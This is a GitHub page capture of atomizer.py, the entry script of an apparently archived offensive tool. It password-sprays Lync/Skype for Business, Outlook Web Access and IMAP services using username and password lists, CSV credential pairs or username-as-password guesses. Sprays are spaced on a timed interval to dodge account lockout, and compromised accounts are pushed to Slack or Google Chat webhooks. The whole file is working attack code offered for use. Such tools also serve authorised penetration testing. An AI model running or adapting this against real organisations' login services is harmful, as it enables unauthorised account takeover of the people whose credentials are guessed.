This repository has been archived by the owner on Oct 17, 2022. It is now read-only.
-
-
Notifications
You must be signed in to change notification settings - Fork 267
/
atomizer.py
executable file
·230 lines (189 loc) · 8.58 KB
/
atomizer.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#!/usr/bin/env python3
"""
Usage:
atomizer (lync|owa|imap) <target> <password> <userfile> [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> <passwordfile> <userfile> --interval <TIME> [--gchat <URL>] [--slack <URL>] [--targetPort PORT][--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --csvfile CSVFILE [--user-row-name NAME] [--pass-row-name NAME] [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --user-as-pass USERFILE [--targetPort PORT] [--threads THREADS] [--debug]
atomizer (lync|owa|imap) <target> --recon [--debug]
atomizer -h | --help
atomizer -v | --version
Arguments:
target target domain or url
password password to spray
userfile file containing usernames (one per line)
passwordfile file containing passwords (one per line)
Options:
-h, --help show this screen
-v, --version show version
-c, --csvfile CSVFILE csv file containing usernames and passwords
-i, --interval TIME spray at the specified interval [format: "H:M:S"]
-t, --threads THREADS number of concurrent threads to use [default: 3]
-d, --debug enable debug output
-p, --targetPort PORT target port of the IMAP server (IMAP only) [default: 993]
--recon only collect info, don't password spray
--gchat URL gchat webhook url for notification
--slack URL slack webhook url for notification
--user-row-name NAME username row title in CSV file [default: Email Address]
--pass-row-name NAME password row title in CSV file [default: Password]
--user-as-pass USERFILE use the usernames in the specified file as the password (one per line)
"""
import logging
import signal
import asyncio
import concurrent.futures
import sys
import csv
from functools import partial
from pathlib import Path
from docopt import docopt
from core.utils.messages import *
from core.sprayers import Lync, OWA, IMAP
from core.utils.time import countdown_timer, get_utc_time
from core.webhooks import gchat, slack
class Atomizer:
def __init__(self, loop, target, threads=3, debug=False):
self.loop = loop
self.target = target
self.sprayer = None
self.threads = int(threads)
self.debug = debug
log_format = '%(threadName)10s %(name)18s: %(message)s' if debug else '%(message)s'
logging.basicConfig(
level=logging.DEBUG if debug else logging.INFO,
format=log_format,
stream=sys.stderr,
)
self.executor = concurrent.futures.ThreadPoolExecutor(
max_workers=self.threads,
)
def lync(self):
self.sprayer = Lync(
target=self.target
)
def owa(self):
self.sprayer = OWA(
target=self.target
)
def imap(self, port):
self.sprayer = IMAP(
target=self.target,
port=port
)
async def atomize(self, userfile, password):
log = logging.getLogger('atomize')
log.debug('atomizing...')
auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth
log.debug('creating executor tasks')
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
blocking_tasks = [
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=password))
for username in userfile
]
log.debug('waiting for executor tasks')
await asyncio.wait(blocking_tasks)
log.debug('exiting')
async def atomize_csv(self, csvreader: csv.DictReader, user_row_name='Email Address', pass_row_name='Password'):
log = logging.getLogger('atomize_csv')
log.debug('atomizing...')
auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth
log.debug('creating executor tasks')
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
blocking_tasks = [
self.loop.run_in_executor(self.executor, partial(auth_function, username=row[user_row_name], password=row[pass_row_name]))
for row in csvreader
]
log.debug('waiting for executor tasks')
await asyncio.wait(blocking_tasks)
log.debug('exiting')
async def atomize_user_as_pass(self, userfile):
log = logging.getLogger('atomize_user_as_pass')
log.debug('atomizing...')
auth_function = self.sprayer.auth_O365 if self.sprayer.O365 else self.sprayer.auth
log.debug('creating executor tasks')
logging.info(print_info(f"Starting spray at {get_utc_time()} UTC"))
blocking_tasks = [
self.loop.run_in_executor(self.executor, partial(auth_function, username=username.strip(), password=username.strip().split('\\')[-1:][0]))
for username in userfile
]
log.debug('waiting for executor tasks')
await asyncio.wait(blocking_tasks)
log.debug('exiting')
def shutdown(self):
self.sprayer.shutdown()
def add_handlers(loop, callback):
for sig in (signal.SIGINT, signal.SIGTERM):
loop.add_signal_handler(sig, callback)
def remove_handlers(loop):
for sig in (signal.SIGINT, signal.SIGTERM):
loop.remove_signal_handler(sig)
if __name__ == "__main__":
args = docopt(__doc__, version="1.0.0dev")
loop = asyncio.get_event_loop()
atomizer = Atomizer(
loop=loop,
target=args['<target>'].lower(),
threads=args['--threads'],
debug=args['--debug']
)
logging.debug(args)
for input_file in [args['<userfile>'], args['--csvfile'], args['--user-as-pass']]:
if input_file:
file_path = Path(input_file)
if not file_path.exists() or not file_path.is_file():
logging.error(print_bad("Path to <userfile>/--csvfile/--user-as-pass invalid!"))
sys.exit(1)
if args['lync']:
atomizer.lync()
elif args['owa']:
atomizer.owa()
elif args['imap']:
atomizer.imap(args['--targetPort'])
if not args['--recon']:
add_handlers(loop, atomizer.shutdown)
if args['--interval']:
popped_accts = 0
with open(args['<passwordfile>']) as passwordfile:
password = passwordfile.readline()
while password != "":
with open(args['<userfile>']) as userfile:
loop.run_until_complete(
atomizer.atomize(
userfile=userfile,
password=password.strip()
)
)
if popped_accts != len(atomizer.sprayer.valid_accounts):
popped_accts = len(atomizer.sprayer.valid_accounts)
if args['--gchat']:
gchat(args['--gchat'], args['<target>'], atomizer.sprayer)
if args['--slack']:
slack(args['--slack'], args['<target>'], atomizer.sprayer)
password = passwordfile.readline()
if password:
remove_handlers(loop) # Intercept signals.
# Wait for next interval and abort if the user hits Ctrl-C.
if not countdown_timer(*args['--interval'].split(':')): break
add_handlers(loop, atomizer.shutdown)
elif args['<userfile>']:
with open(args['<userfile>']) as userfile:
loop.run_until_complete(
atomizer.atomize(
userfile=userfile,
password=args['<password>']
)
)
elif args['--csvfile']:
with open(args['--csvfile']) as csvfile:
reader = csv.DictReader(csvfile)
loop.run_until_complete(
atomizer.atomize_csv(
csvreader=reader,
user_row_name=args['--user-row-name'],
pass_row_name=args['--pass-row-name']
)
)
elif args['--user-as-pass']:
with open(args['--user-as-pass']) as userfile:
loop.run_until_complete(atomizer.atomize_user_as_pass(userfile))
atomizer.shutdown()